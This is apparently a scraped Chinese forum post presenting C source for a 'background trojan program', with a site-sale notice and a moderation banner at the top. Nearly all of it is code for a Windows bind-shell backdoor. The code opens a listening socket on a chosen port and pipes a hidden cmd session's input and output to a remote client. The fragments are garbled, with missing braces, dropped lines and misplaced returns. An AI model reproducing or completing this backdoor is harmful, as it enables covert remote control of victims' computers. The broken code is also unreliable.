c语言编写木马软件,【C语言】后台木马程序
本站寻求有缘人接手,详细了解请联系站长QQ1493399855
该楼层疑似违规已被系统折叠 隐藏此楼查看此楼
DWORD dwWrited = 0, dwRecvd = 0;
char szBuf[MAX_PATH] = {0};
BOOL bRet = FALSE;
while ( TRUE ) {
dwRecvd = recv(tNode.m_Sock, szBuf, MAX_PATH, 0);
if ( dwRecvd > 0 && dwRecvd != SOCKET_ERROR ) {
WriteFile(tNode.hPipe, szBuf, dwRecvd, &dwWrited, NULL);
}else{
closesocket(tNode.m_Sock);
WriteFile(tNode.hPipe, "exit ", sizeof("exit "), &dwWrited, NULL);
bExit = TRUE;
break;
}
Sleep(50);
return TRUE;
DWORD WINAPI ThreadOutputProc(LPVOID lpParam) //此函数功能时刻向客户端发送cmd输出的数据
{
CThreadNode tNode = *(CThreadNode *)lpParam;
char szBuf[RECV_BUF_LEN] = {0};
DWORD dwReadLen = 0, dwTotalAvail = 0;
while ( !bExit ) {
dwTotalAvail = 0;
bRet = PeekNamedPipe(tNode.hPipe, NULL, 0, NULL, &dwTotalAvail, NULL);
if ( bRet && dwTotalAvail > 0 ) {
bRet = ReadFile(tNode.hPipe, szBuf, RECV_BUF_LEN, &dwReadLen, NULL);
if ( bRet && dwReadLen > 0 ) {
SendData(tNode.m_Sock, szBuf, dwReadLen);
BOOL StartShell(UINT uPort)
if ( !SocketInit() ) { //初始化Stocket库
return FALSE;
SOCKET m_ListenSock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if ( m_ListenSock == INVALID_SOCKET ) {
sockaddr_in sServer = {0};
sServer.sin_family = AF_INET;
sServer.sin_addr.s_addr = htonl(INADDR_ANY);//用主机的任意可用IP地址
sServer.sin_port = htons(uPort); //要开启的端口号
if ( bind(m_ListenSock, (sockaddr *)&sServer, sizeof(sServer)) == SOCKET_ERROR ) { //将套接字绑定到IP地址和端口
if ( listen(m_ListenSock, 5) == SOCKET_ERROR ) { //让端口进入监听模式
SOCKET m_AcceptSock = accept(m_ListenSock, NULL, NULL); //创建新的套接字,然后等待与客户端的连接
// 创建管道的一些初始化
CThreadNode m_ReadNode, m_WriteNode;
STARTUPINFO si = {0};
si.cb = sizeof(STARTUPINFO);
PROCESS_INFORMATION pi = {0};
DWORD dwThreadRead = 0, dwThreadWrite = 0;
HANDLE hReadPipe1 = NULL, hWritePipe1 = NULL; // Input the command;
HANDLE hReadPipe2 = NULL, hWritePipe2 = NULL; // Get the command results;
HANDLE hThreadOutput = NULL, hThreadInput = NULL;
SECURITY_ATTRIBUTES sa = {0};